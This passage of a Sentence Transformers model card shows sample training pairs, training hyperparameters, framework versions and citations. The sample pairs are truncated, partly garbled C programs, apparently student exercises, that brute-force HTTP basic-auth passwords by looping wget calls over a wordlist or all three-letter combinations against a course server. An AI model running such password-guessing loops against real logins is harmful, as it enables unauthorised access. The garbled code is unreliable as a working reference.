    • min: 146 tokens
    • mean: 365.36 tokens
    • max: 512 tokens
    • 0: ~99.10%
    • 1: ~0.90%
  • Samples:
    sentence_0 sentence_1 label


    #include
    #include
    #include
    #define OneBillion 1e9


    int () {
    FILE *fp;
    int ret;
    char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";
    char str[100];
    char passwd[150];
    int startTime, stopTime, final;
    strcpy(passwd,strin);
    fp = fopen("words","r");

    if (fp == NULL) {
    printf ("\n Error opening file; exiting...");
    exit(0);
    }

    else
    startTime = time();
    while (fgets(str,20,fp) != NULL) {
    str[strlen(str)-1] = '\0';
    if (strlen(str) < 4) {
    strcat(passwd,str);
    printf("string is %s\n",passwd);
    ret = system(passwd);
    strcpy(passwd,strin);
    if (ret == 0) break;
    }
    }
    stopTime = time();
    final = stopTime-startTime;
    printf("\n============================================================");
    printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");
    printf("\n UserName : ");
    printf("\n Pas...
    #include
    #include
    #include
    #include
    #include

    int ()
    {

    int m,n,o,i;
    char URL[255];
    char v[3];
    char temp1[100];
    char temp2[100];
    char temp3[250];
    char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
    time_t u1,u2;

    (void) time(&u1);
    strcpy(temp1,"wget --http-user= --http-passwd=");
    strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");

    for(m=0;m<=51;m++)
    {
    v[0]=[m];
    v[1]='\0';
    v[2]='\0';
    strcpy(URL,v);
    printf("\nTesting with password %s\n",URL);
    strcat(temp3,temp1);
    strcat(temp3,URL);
    strcat(temp3,temp2);
    printf("\nSending the %s\n",temp3);
    i=system(temp3);

    if(i==0)
    {
    (void) time(&u2);
    printf("\n The password is %s\n",URL);
    printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1...
    0


    #include
    #include
    #include

    int () {

    while (1) {

    system("wget -p www.cs.rmit.edu.");\

    system("mkdir sitefiles");

    system("cp www.cs.rmit.edu./index.html sitefiles");
    system("diff sitefiles/index.html www.cs.rmit.edu./index.html
    mail @cs.rmit.edu.");

    system("md5sum www.cs.rmit.edu./images/. > imageInfo.txt");
    system("diff imageInfo.txt sitefiles/imageInfo.txt
    mail @cs.rmit.edu.");

    system("cp imageInfo.txt sitefiles");
    sleep(86400);
    }

    }
    #include
    #include
    #include
    #include
    #include

    int ()
    {
    char first[80], last[50];
    int count =0;
    int Start_time,End_time,Total_time,average;
    char password[15], *getWord;
    getWord = " ";
    FILE *fp;
    int systemres = 1;
    fp = fopen("words", "r");
    Start_time = time();
    strcpy(first, "wget --http-user= --http-passwd=");
    strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");

    {
    getWord = fgets(password, 15, fp);
    if (getWord == NULL) exit(1);
    password [ strlen(password) - 1 ] = '\0';
    if(strlen(password) == 3)
    {
    strcat(first, password);
    strcat(first, last);
    printf("The length of the word is : %d", strlen(password));
    printf("\n %s \n",first);
    count++;
    systemres = system(first);
    if (systemres == 0)
    {
    printf(" Time =%11dms\n", Start_time);
    End_time = time();
    Total_time = (End_time - Start_time);
    Total_time /= 1000000000.0;
    printf("totaltime in seconds =%lldsec\n", ...




    #include
    #include
    #include

    int ()
    {
    int i,j,k,cntr=0;
    char pass[3];
    char password[3];
    char get[96];
    char username[]="";
    int R_VALUE;
    double time_used;

    clock_t ,end;

    =clock();



    for (i = 65; i <= 122; i++)
    {
    if(i==91) {i=97;}

    for (j = 65; j <= 122; j++)
    {
    if(j==91) {j=97;}

    for (k = 65; k <= 122; k++)
    {
    if(k==91) {k=97;}

    pass[0] = i;
    pass[1] = j;
    pass[2] = k;
    sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]);
    cntr++;

    printf("%d )%s\n\n", cntr, password);
    sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);


    R_VALUE=system(get);

    if(R_VALUE==0)
    {
    printf("The Password has been cracked and it is : %s" , password);
    ...
    0
  • Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • fp16: True
  • multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin
  • router_mapping: {}
  • learning_rate_mapping: {}

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 5.0.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.8.1
  • Datasets: 3.6.0
  • Tokenizers: 0.21.2

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}